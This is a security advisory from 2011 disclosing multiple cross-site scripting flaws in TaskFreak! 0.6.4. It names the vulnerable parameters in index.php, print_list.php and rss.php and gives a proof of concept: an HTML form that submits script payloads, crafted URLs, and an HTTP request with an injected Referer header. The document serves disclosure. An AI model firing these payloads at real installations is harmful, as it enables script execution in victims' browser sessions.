TaskFreak! 0.6.4 Cross Site Scripting

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TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities  
  
  
Vendor: Stan Ozier  
Product web page: http://www.taskfreak.com  
Affected version: 0.6.4 (multi-user)  
  
Summary: TaskFreak! Original is a simple but efficient web based  
task manager written in PHP.  
  
Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing  
input to multiple parameters in different scripts. The vulnerable POST  
parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also  
the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable.  
Header variable 'referer' is vulnerable thru rss.php script. Attackers  
can exploit these weaknesses to execute arbitrary HTML and script code in  
a user's browser session.  
  
Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest)  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
  
Advisory ID: ZSL-2011-4990  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990  
  
  
27.01.2011  
  
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<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>  
<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">  
<input type="hidden" name="sProject" value="0" />  
<input type="hidden" name="id" value="" />  
<input type="hidden" name="mode" value="save" />  
<input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />  
<input type="hidden" name="sort" value='"><script>alert(1)</script>' />  
<input type="hidden" name="dir" value='"><script>alert(2)</script>' />  
<input type="hidden" name="show" value='"><script>alert(3)</script>' />  
</form>  
<a href="javascript: xss();" style="text-decoration:none">  
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>  
  
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http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E  
http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E  
  
---  
  
GET /taskfreak/rss.php HTTP/1.1  
Referer: ">Waddup!  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
Accept: */*  
`